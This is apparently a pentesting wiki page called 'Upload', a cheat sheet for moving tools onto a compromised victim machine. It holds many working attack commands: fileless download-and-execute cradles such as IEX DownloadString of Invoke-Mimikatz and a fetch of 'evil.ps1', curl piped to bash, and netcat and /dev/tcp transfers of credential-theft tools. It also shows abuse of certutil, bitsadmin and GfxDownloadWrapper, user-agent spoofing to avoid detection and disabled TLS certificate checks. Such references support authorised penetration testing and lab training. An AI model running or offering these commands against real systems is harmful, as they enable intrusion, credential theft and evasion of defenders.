Upload

Tool

Updog

updog --ssl --port 9090 --password "exegol4thewin" --directory /opt/resources

Living Off Trusted Sites

LOTS Project - Living Off Trusted Siteslots-project.com

Wget and cURL

Upload a repo

git clone on attacker host

victim

wget --mirror http://IP/rep/

Create a Web Server on attacker machine

Updog

Windows - HFS HTTP File Server

HFS ~ HTTP File ServerSourceForge

Powershell_HttpServer

GitHub - zh54321/PowerShell_HttpServer: Simple PowerShell HTTP Server (no dependencies, single file, PowerShell 5.1/7)GitHub

Python 3

python3 -m http.server 8000

Python 2.7

python2.7 -m SimpleHTTPServer

PHP

php -S 0.0.0.0:8000

Ruby

ruby -run -ehttpd . -p8000

Upload file

wget http://10.10.14.1:8000/linenum.sh

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Fileless Upload

with cURL

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

with wget

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Bash

# Connect to the target server
$ exec 3<>/dev/tcp/10.10.10.32/80
# HTTP Get request
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
# Print the response
$ cat <&3

SCP

How to Use SCP Command to Securely Transfer FilesLinuxize

SSH on attacker host

# Enabling the SSH server
$ sudo systemctl enable ssh
# Starting the SSH server
$ sudo systemctl start ssh

scp plaintext@192.168.49.128:/root/myroot.txt .

SSH on remote host

scp linenum.sh user@remotehost:/tmp/linenum.sh

Base64

Linux - Transfer from attack host to victim

Example 1

base64 shell -w 0

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU

echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

Example 2

$ cat id_rsa |base64 -w 0;echo

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KY ... <SNIP>

$ echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQk... <SNIP> CamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo=' | base64 -d > id_rsa

Windows - Transfer from attack host to victim

$ cat id_rsa |base64 -w 0;echo

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0V ... <SNIP>

PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbG... <SNIP> Ed4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))

Powershell

DownloadFile method

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

$ echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZn... <SNIP> N0DQo= | base64 -d > hosts

DownloadString - Fileless Method

Execution in memory

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

Cradles

GitHub - danielbohannon/Invoke-CradleCrafter: PowerShell Remote Download Cradle Generator & ObfuscatorGitHub

iex(New-ObjectNet.WebClient).DownloadString('https://webserver/payload.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

iex(iwr'http://192.168.230.1/evil.ps1')

$h=New-Object-ComObjectMsxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex$h.responseText

$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Invoke-WebRequest

PS C:\Windows\system32> Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

alias iwr, curl or wget

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Changing User Agent - Avoid Detection

PS C:\htb>[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

Name       : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; en-US)

Name       : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0

Name       : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
             Safari/534.6

Name       : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; en-US) Presto/2.2.1

Name       : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
             Safari/533.16

Request with Chrome User Agent

PS C:\htb> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

Invoke-RestMethod

PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

WinHttpRequest

PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseText

Msxml2

PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseText

SMB

https://wiki.hpc.uconn.edu/index.php/File_transfer_via_SMBwiki.hpc.uconn.edu

From Linux to Windows

$ sudo impacket-smbserver share -smb2support /tmp/smbshare

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

C:\htb> copy \\192.168.220.133\share\nc.exe

        1 file(s) copied.

Unauthenticated guest access blocked

C:\htb> copy \\192.168.220.133\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

SMB server with credz

$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Mount SMB server with credz

C:\htb> net use n: \\192.168.220.133\share /user:test test

The command completed successfully.

C:\htb> copy n:\nc.exe
        1 file(s) copied.

Metasploit - Upload

Metasploit

SMBclient - put

SMB (445, 139) / RPC

put <nom_de_fichier_local> [nom_de_fichier_distant]

Source:

Manpage of SMBCLIENTwww.delafond.org

SMBmap - upload

SMB (445, 139) / RPC

$ smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

[+] Starting upload: test.txt (20 bytes)
[+] Upload complete.

FTP

From Linux to Windows

$ sudo pip3 install pyftpdlib

$ sudo python3 -m pyftpdlib --port 21

[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on 0.0.0.0:21, pid=3210 <<<

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file

Python

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")

PHP

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

Javascript

Windows

Create wget.js with this content

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

Create wget.vbs with this content

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Netcat (nc)

nc.exe:

GitHub - int0x33/nc.exe: Netcat for windows 32/64 bitGitHub

Simple example

Victim

nc -l -p 8000 > SharpKatz.exe

Attacker

nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Inbound connections blocked

Attack host

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Victim

nc 192.168.49.128 443 > SharpKatz.exe

Ncat (ncat)

#Receiver
nc -nlvp PORT > file

#Sender
nc -nv IP PORT < file_to_send

Simple example

Victim

ncat -l -p 8000 --recv-only > SharpKatz.exe

Attacker

ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Inbound connections blocked

Attack host

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Victim

ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

Bash

Attack host

sudo nc -l -p 443 -q 0 < SharpKatz.exe

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Victim

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

WinRM

Powershell

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01

PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Evil-WinRM

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload PowerView.ps1 C:\Users\Administrator\Desktop

RDP

rdesktop

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

xfreerdp

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Remmina

File Sharing through RDP from LinuxComputer Action Team

Windows to windows:

Remote Desktop File Transfer Made EasyHelpWire Blog

LOLBAS

LOLBASlolbas-project.github.io

Bitsadmin

PS C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t; 
PS C:\htb> iex $r

Certutil

C:\htb> certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe

certutil -urlcache -f http://<IP>/nc.exe c:\Users\admin\Desktop\nc.exehttps://wiki.hpc.uconn.edu/index.php/File_transfer_via_SMB

GfxDownloadWrapper.exe

PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

GTFOBins

GTFOBinsgtfobins.github.io

OpenSSL

Attack host

## Create cetificate
$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
## Stand up the server
$ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Victim

$ openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Metasploit

meterpreter > cd James\\
meterpreter > cd Desktop\\
meterpreter > upload /root/.local/share/pipx/venvs/pwncat-cs/lib/python3.11/site-packages/pwncat/data/PowerSploit/Recon/PowerView.ps1

Avoid AV Detection

NetLoader and Assembly Loader - See Payload Delivery in Static Analysis

Static Analysis

Resources

Windows File Transfers For Hackers - Juggernaut PentestingJuggernaut Pentesting Blog - A blog to help others achieve their goals in Cyber Security.

File Transfer Cheatsheet: Windows and LinuxHacking Articles

https://ppn.snovvcrash.rocks/pentest/infrastructure/file-transferppn.snovvcrash.rocks

PreviousFile Transfer NextDownload - Exfiltration

Last updated 11 months ago

hashtagTool

hashtagLiving Off Trusted Sites

hashtagWget and cURL

hashtagCreate a Web Server on attacker machine

hashtagUpdog

hashtagWindows - HFS HTTP File Server

hashtagPowershell_HttpServer

hashtagPython 3

hashtagPython 2.7

hashtagPHP

hashtagRuby

hashtagUpload file

hashtagBash

hashtagSCP

hashtagSSH on attacker host

hashtagSSH on remote host

hashtagBase64

hashtagLinux - Transfer from attack host to victim

hashtagWindows - Transfer from attack host to victim

hashtagPowershell

hashtagDownloadFile method

hashtagDownloadString - Fileless Method

hashtagCradles

hashtagInvoke-WebRequest

hashtagChanging User Agent - Avoid Detection

hashtagInvoke-RestMethod

hashtagWinHttpRequest

hashtagMsxml2

hashtagSMB

hashtagFrom Linux to Windows

hashtagUnauthenticated guest access blocked

hashtagMetasploit - Upload

hashtagSMBclient - put

hashtagSMBmap - upload

hashtagFTP

hashtagFrom Linux to Windows

hashtagPython

hashtagPHP

hashtagRuby

hashtagPerl

hashtagJavascript

hashtagWindows

hashtagVBScript

hashtagNetcat (nc)

hashtagSimple example

hashtagInbound connections blocked

hashtagNcat (ncat)

hashtagSimple example

hashtagInbound connections blocked

hashtagBash

hashtagWinRM

hashtagPowershell

hashtagEvil-WinRM

hashtagRDP

hashtagrdesktop

hashtagxfreerdp

hashtagRemmina

hashtagWindows to windows:

hashtagLOLBAS

hashtagBitsadmin

hashtagCertutil

hashtagGfxDownloadWrapper.exe

hashtagGTFOBins

hashtagOpenSSL

hashtagMetasploit

hashtagAvoid AV Detection

hashtagResources

Tool

Living Off Trusted Sites

Wget and cURL

Create a Web Server on attacker machine

Updog

Windows - HFS HTTP File Server

Powershell_HttpServer

Python 3

Python 2.7

PHP

Ruby

Upload file

Bash

SCP

SSH on attacker host

SSH on remote host

Base64

Linux - Transfer from attack host to victim

Windows - Transfer from attack host to victim

Powershell

DownloadFile method

DownloadString - Fileless Method

Cradles

Invoke-WebRequest

Changing User Agent - Avoid Detection

Invoke-RestMethod

WinHttpRequest

Msxml2

SMB

From Linux to Windows

Unauthenticated guest access blocked

Metasploit - Upload

SMBclient - put

SMBmap - upload

FTP

From Linux to Windows

Python

PHP

Ruby

Perl

Javascript

Windows

VBScript

Netcat (nc)

Simple example

Inbound connections blocked

Ncat (ncat)

Simple example

Inbound connections blocked

Bash

WinRM

Powershell

Evil-WinRM

RDP

rdesktop

xfreerdp

Remmina

Windows to windows:

LOLBAS

Bitsadmin

Certutil

GfxDownloadWrapper.exe

GTFOBins

OpenSSL

Metasploit

Avoid AV Detection

Resources